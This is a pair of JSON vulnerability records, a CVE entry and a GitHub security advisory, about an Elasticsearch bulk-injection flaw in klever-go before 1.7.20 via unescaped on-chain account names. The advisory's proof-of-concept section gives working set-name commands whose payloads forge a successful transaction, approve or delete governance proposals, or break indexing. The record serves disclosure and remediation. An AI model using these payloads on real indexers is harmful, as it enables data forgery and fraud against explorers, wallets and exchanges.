{
  "affected": [
    {
      "affectedData": [
        {
          "product": "klever-go",
          "vendor": "klever-io",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.7.20"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch _bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20."
    }
  ],
  "id": "CVE-2026-82409",
  "lastModified": "2026-09-23T20:17:17.027",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.4,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "LOW",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-23T20:17:16.893",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-116"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-82409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-23T21:24:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Component:** Elasticsearch indexer (`indexer/`)\n**Primary location:** `indexer/common.go:2395-2407` (`serializedDataForUpdateAccounts`)\n**Entry point:** `SetAccountName` native transaction (contract type 12) \u2014 `core/process/transaction/txProcess.go:688`\n\n---\n\n## Description\n\nWhen the node indexes account updates to Elasticsearch, it builds the ES `_bulk` painless-script line by splicing the account\u0027s **name** directly into JSON with `fmt.Sprintf(\"%s\", ...)` and **no escaping**:\n\n```go\n// indexer/common.go:2395-2407  (serializedDataForUpdateAccounts)\nserializedData := []byte(fmt.Sprintf(`{\"script\":{\"source\":\"`+\n    `ctx._source.name = params.name; ... `+\n    `\",\"lang\": \"painless\",\"params\":`+\n    `{\"name\": \"%s\", \"nonce\": %d, \"rootHash\": \"%s\", \"balance\": %d, ...}}}`,\n    acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...))   // acc.Name is RAW\n```\n\n`acc.Name` originates from on-chain account state: `indexer/accountInfo.go:31` sets `Name: string(userAccount.GetName())`. An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the `SetAccountName` handler:\n\n```go\n// core/kapp/accounts/accounts.go:1740\nif !utf8.Valid(tc.GetName()) || len(tc.GetName()) \u003e core.MaxNameSize { ... }  // MaxNameSize = 100\n```\n\nThe only constraints are **valid UTF-8** and **length \u2264 100 bytes**. Double-quote (`\"`), backslash (`\\`), and newline (`\\n`) are all valid UTF-8 and are **not** rejected. The safe helper `converters.JsonEscape()` exists and is used for `_id` fields elsewhere in the same file (`common.go:893`, `:932`, `:961`) but is **not** applied to the name.\n\nThe resulting buffer is POSTed verbatim to Elasticsearch `_bulk` by `elasticClient.DoBulkRequest` (`indexer/elasticClient.go:128`), with the index in the URL. The `_bulk` body is NDJSON \u2014 newline-delimited action/source pairs (`indexer/data/buffer.go:45` appends a `\\n` after every entry). Therefore a name containing a quote and newlines can \n\n- inject arbitrary keys/structure into the document, \n- break the batch, and \n- inject entirely new bulk operations targeting **other** documents and **other** indices.\n\n`SetAccountName` is a first-class transaction contract type (`= 12`) dispatched natively at `txProcess.go:688` via `SetAccountName(tx.GetSender(), tc)`. The attacker names **their own** account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in `KleverSetAccountName`, but that path is not needed.)\n\nThe name is written into consensus account state (`userAccount.SetName`, `data/state/userAccount.go:76`) and replicated to all nodes. The indexer reads it from **state**, not from the transaction, during each node\u0027s own block processing (`core/process/block/block.go:1141` `SaveBlock` / `SaveAccounts`). Consequently:\n\n- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough.\n- Indexers typically run on **observer/gateway** nodes that power the public explorer/API \u2014 exactly the realistic victim.\n- The payload is **durable and replayable**: a newly stood-up indexer, or a historical re-index (import-DB mode, `cmd/node/startup.go:153`), re-reads the name from state and re-fires the injection.\n\n### Escalation \u2014 from denial-of-indexing to arbitrary ES document CRUD\n\nElasticsearch `_bulk` fails a malformed line differently by position: malformed **action** line \u2192 whole-batch HTTP 400 (nothing applies); malformed **source** line \u2192 **per-item** error (other items still apply). By appending a *sacrificial* action after the forged op, the serializer\u0027s fixed template tail (`\", \"nonce\":...}}}`) lands in a source position (item-level error), so a clean forged op that precedes it is **applied**. This yields arbitrary create / overwrite / delete of documents in **any** index the indexer\u0027s ES credentials can write \u2014 cross-index via `{\"index\":{\"_index\":\"...\", \"_id\":\"...\"}}`.\n\n### Deployment amplifier (default ES config)\n\nThe Elasticsearch config klever ships (`docker/elasticsearch/elasticsearch.yml`, `docker/docker-compose.yml`) sets `xpack.security.enabled: false`, `network.host: 0.0.0.0`, publishes `9200:9200`, and CORS `*` with `POST,PUT,DELETE`. The node\u0027s default `config/node/external.yaml` connects with empty `username`/`password`. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, **this injection is the remote bridge** that reaches that private ES through the node\u0027s own trusted connection.\n\n---\n\n## POC\n\nThe entire attack is a **single `SetAccountName` transaction** the attacker sends from any funded account, naming its **own** account with a crafted payload. \n\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n  $\u0027\"}}}\\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\\n{\"status\":\"success\"}\\n{\"index\":{}}\u0027\n```\n\nThis submits contract type 12 (`SetAccountNameContract`) with:\n\n```\nName = \"}}}\u23ce{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}\u23ce{\"status\":\"success\"}\u23ce{\"index\":{}}\n```\n(84 bytes \u2264 MaxNameSize 100; `\u23ce` = literal `\\n`. On-chain `Name` is `[]byte`, i.e.\nbase64 `In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319`.)\n\n\n```\n{ \"update\": { \"_index\":\"accounts\", \"_id\":\"\u003cattacker\u003e\" } }\n{\"script\":{ ... ,\"params\":{\"name\": \"\"}}}\n{\"index\":{\"_index\":\"transactions\",\"_id\":\"t\"}}    \u2190 forged bulk action\n{\"status\":\"success\"}                             \u2190 forged doc \u2192 written to `transactions`\n{\"index\":{}}\", \"nonce\":1, ... }}}                \u2190 sacrificial op absorbs the template tail\n```\n\n**Observed result:** a forged document `{\"status\":\"success\"}` with `_id:\"t\"` appears in the `transactions` index \u2014 the attacker never submitted any such transaction:\n\n```\nGET transactions/_doc/t\n\n{ \"found\": true, \"_source\": { \"status\": \"success\" } }\n```\n\n### Escalation variants \u2014 same delivery, only the `Name` changes\n\nEach is a single `SetAccountName` tx sent the same way; only the payload differs.\n\n**Denial-of-indexing** (2-byte name \u2014 breaks the batch, drops every co-batched account update):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \u0027x\"\u0027\n```\n\n**Cross-index write / forge a document** (e.g. a governance proposal doc; 82 bytes):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n  $\u0027\"}}}\\n{\"index\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"status\":\"approved\"}\\n{\"index\":{}}\u0027\n```\n\n**Delete a document** (e.g. proposal id 5; 61 bytes):\n```\noperator --node=http://\u003cnode\u003e:8099 -k attacker.pem --sign account set-name \\\n  $\u0027\"}}}\\n{\"delete\":{\"_index\":\"proposals\",\"_id\":\"5\"}}\\n{\"index\":{}}\u0027\n```\n\n\n\n---\n\n## Impact\n\nA single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch `_bulk` stream of **every node that indexes the chain** now or in the future. Two tiers of impact:\n\n1. **Denial-of-indexing** A name containing a single `\"` or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account\u0027s balance/name/nonce update is silently **dropped** \u2192 the explorer/API serves **stale** data. Repeatable every block.\n\n2. **Arbitrary document CRUD across all indexer indices (escalation).** Using the sacrificial-op construction, the attacker can **create/overwrite/delete** documents in any klever index the indexer writes (`transactions`, `blocks`, `accounts`, `proposals`, `assets`, `marketplaces`, ...): forge \"successful\" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data  can be fed fabricated records, enabling fraud (e.g. a forged `status:success` transaction).\n\n**Amplifiers:** the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.\n\n\n---\n\n## Recommendation\n\n1. **Escape the name .** Never splice on-chain strings into JSON with `fmt.Sprintf`. Either apply the existing `converters.JsonEscape()` to `acc.Name` (mirror the `_id` handling), or preferably  build the entire bulk source with `json.Marshal` of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every `fmt.Sprintf`-built bulk/script line in `indexer/common.go` for the same pattern (RootHash and other `%s` fields on this and nearby paths).\n\n2. **Restrict the on-chain account-name charset** at `SetAccountName` (`accounts.go:1740`)  reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.",
  "id": "GHSA-7c7c-373r-gfjj",
  "modified": "2026-09-23T21:24:06Z",
  "published": "2026-09-23T21:24:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-7c7c-373r-gfjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/f00366768b24be18fa7ae9de2e1905caa8b350af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/f54ea730cc80a3ba4f906586a7d221b281548190"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -\u003e explorer/indexer data forgery"
}